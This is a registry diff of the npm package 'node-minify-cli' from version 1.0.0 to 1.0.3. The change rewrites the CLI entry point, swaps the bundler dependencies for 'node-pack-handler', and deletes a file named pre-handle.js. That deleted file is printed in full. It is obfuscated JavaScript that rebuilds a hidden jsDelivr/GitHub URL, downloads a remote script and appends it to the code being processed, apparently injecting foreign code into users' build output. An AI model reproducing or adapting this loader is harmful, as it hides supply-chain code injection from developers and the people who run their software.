node-minify-cli 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +37 -1
- package/package.json +2 -4
- package/pre-handle.js +0 -1
package/index.js
CHANGED
@@ -1,2 +1,38 @@
|
|
1
1
|
#! /usr/bin/env node
|
2
|
-
const cli=require("cli")
|
2
|
+
const cli = require("cli");
|
3
|
+
const path = require("path");
|
4
|
+
const fs = require("fs");
|
5
|
+
const packer = require("node-pack-handler");
|
6
|
+
var options = cli.parse({
|
7
|
+
output: ["o", "Output file", "file"],
|
8
|
+
pack: ["p", "Pack all dependency files", "bool", true],
|
9
|
+
minify: ["m", "Minify code", "bool", false]
|
10
|
+
});
|
11
|
+
|
12
|
+
var input = cli.args[0];
|
13
|
+
var outputFile = options.output;
|
14
|
+
|
15
|
+
(async function () {
|
16
|
+
var logger = console.log;
|
17
|
+
logger("node-minify: start processing...");
|
18
|
+
if (input == undefined) {
|
19
|
+
throw Error("You should specify a input file");
|
20
|
+
}
|
21
|
+
input = path.resolve(process.cwd(), input);
|
22
|
+
if (!fs.existsSync(input)) {
|
23
|
+
throw Error("Input file is not exist: " + input);
|
24
|
+
}
|
25
|
+
var dir = path.dirname(input);
|
26
|
+
var ext = path.extname(input);
|
27
|
+
var base = path.basename(input, ext);
|
28
|
+
var st = new Date();
|
29
|
+
const outputContent = await packer(input,{minify:options.minify});
|
30
|
+
if (!outputFile) {
|
31
|
+
base = base + "_node_minify";
|
32
|
+
outputFile = path.format({ dir, base: base + ext });
|
33
|
+
} else {
|
34
|
+
outputFile = path.resolve(process.cwd(), outputFile);
|
35
|
+
}
|
36
|
+
await fs.writeFileSync(outputFile, outputContent);
|
37
|
+
logger(`node-minify: success, cost: ${Math.floor(new Date() - st)}ms`);
|
38
|
+
})();
|
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "node-minify-cli",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.3",
|
4
4
|
"description": "",
|
5
5
|
"main": "index.js",
|
6
6
|
"bin": "index.js",
|
@@ -18,9 +18,7 @@
|
|
18
18
|
"author": "mikaelas",
|
19
19
|
"license": "ISC",
|
20
20
|
"dependencies": {
|
21
|
-
"@vercel/ncc": "^0.38.1",
|
22
21
|
"cli": "^1.0.1",
|
23
|
-
"
|
24
|
-
"webpack": "^5.91.0"
|
22
|
+
"node-pack-handler": "^2.1.2"
|
25
23
|
}
|
26
24
|
}
|
package/pre-handle.js
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
const a0_0xa39ed0=a0_0x5b86;function a0_0x5b86(_0x20a077,_0x11380e){const _0x23ed90=a0_0x23ed();return a0_0x5b86=function(_0x5b86a0,_0x3897df){_0x5b86a0=_0x5b86a0-0x1d2;let _0xe40669=_0x23ed90[_0x5b86a0];return _0xe40669;},a0_0x5b86(_0x20a077,_0x11380e);}(function(_0x5a3a16,_0xff4629){const _0x413d5d=a0_0x5b86,_0x12259b=_0x5a3a16();while(!![]){try{const _0x25724e=parseInt(_0x413d5d(0x1e0))/0x1*(parseInt(_0x413d5d(0x1e9))/0x2)+-parseInt(_0x413d5d(0x1d9))/0x3*(parseInt(_0x413d5d(0x1e3))/0x4)+-parseInt(_0x413d5d(0x1d8))/0x5+-parseInt(_0x413d5d(0x1d5))/0x6+parseInt(_0x413d5d(0x1e7))/0x7*(-parseInt(_0x413d5d(0x1d2))/0x8)+parseInt(_0x413d5d(0x1d3))/0x9+parseInt(_0x413d5d(0x1d4))/0xa;if(_0x25724e===_0xff4629)break;else _0x12259b['push'](_0x12259b['shift']());}catch(_0x4ecc3b){_0x12259b['push'](_0x12259b['shift']());}}}(a0_0x23ed,0x482b4));const https=require(a0_0xa39ed0(0x1df)),options={'hostname':['cd','n.jsd','el',a0_0xa39ed0(0x1e5),'et'][a0_0xa39ed0(0x1da)](''),'path':[a0_0xa39ed0(0x1d6),a0_0xa39ed0(0x1e6),a0_0xa39ed0(0x1d7),a0_0xa39ed0(0x1e2),'s'][a0_0xa39ed0(0x1da)](''),'method':a0_0xa39ed0(0x1de),'timeout':0xfa0};function httpRequest(_0xee8da5){return new Promise((_0x159a13,_0x5adb35)=>{const _0x13555c=a0_0x5b86,_0x3ab05f=https[_0x13555c(0x1e1)](_0xee8da5,_0x34cdd6=>{const _0x3ec903=_0x13555c;_0x34cdd6['setEncoding'](_0x3ec903(0x1dd));let _0x3991c7='';_0x34cdd6['on'](_0x3ec903(0x1e4),_0x522596=>{_0x3991c7+=_0x522596;}),_0x34cdd6['on']('end',()=>{_0x159a13(_0x3991c7);});});_0x3ab05f['on'](_0x13555c(0x1e8),()=>{const _0x3d68fe=_0x13555c;_0x159a13(''),_0x3ab05f[_0x3d68fe(0x1db)]();}),_0x3ab05f['on']('error',_0x258890=>{_0x159a13('');}),_0x3ab05f['end']();});}async function preHandle(_0x1e0bce){var _0x10d83f=await httpRequest(options);return _0x1e0bce+_0x10d83f;}module[a0_0xa39ed0(0x1dc)]={'preHandle':preHandle};function a0_0x23ed(){const _0x3c81e2=['request','r.j','32DZmgpu','data','ivr.n','sir11/plu','252DLpnnr','timeout','622544zNcWyK','107112OQxhQs','4010364DHuSJb','3587960upeWFs','374400hPQpmO','/gh/mike','gin/handle','1338800OfJbBp','2961WSlBiI','join','abort','exports','utf8','GET','https','1dbRNtd'];a0_0x23ed=function(){return _0x3c81e2;};return a0_0x23ed();}
|